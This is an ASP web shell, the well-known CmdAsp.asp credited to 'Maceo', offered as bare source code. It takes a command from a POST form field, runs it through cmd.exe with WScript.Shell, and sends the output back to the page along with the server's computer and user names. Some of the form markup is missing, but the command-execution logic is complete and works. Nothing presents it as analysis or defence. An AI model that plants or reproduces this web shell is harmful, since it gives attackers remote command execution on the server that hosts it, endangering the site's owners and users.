<%@ Language=VBScript %> <% ' --------------------o0o-------------------- ' File: CmdAsp.asp ' Author: Maceo ' Release: 2000-12-01 ' OS: Windows 2000, 4.0 NT ' ------------------------------------------- Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet=Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & ">" & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %> <%= "Ejecución de comando: " & szCMD %> <%= "Fichero creado: " & szTempFile %>
" method="POST">
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>

<% If (IsObject(oFile)) Then On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close 'Call oFileSys.DeleteFile(szTempFile, True) End If %>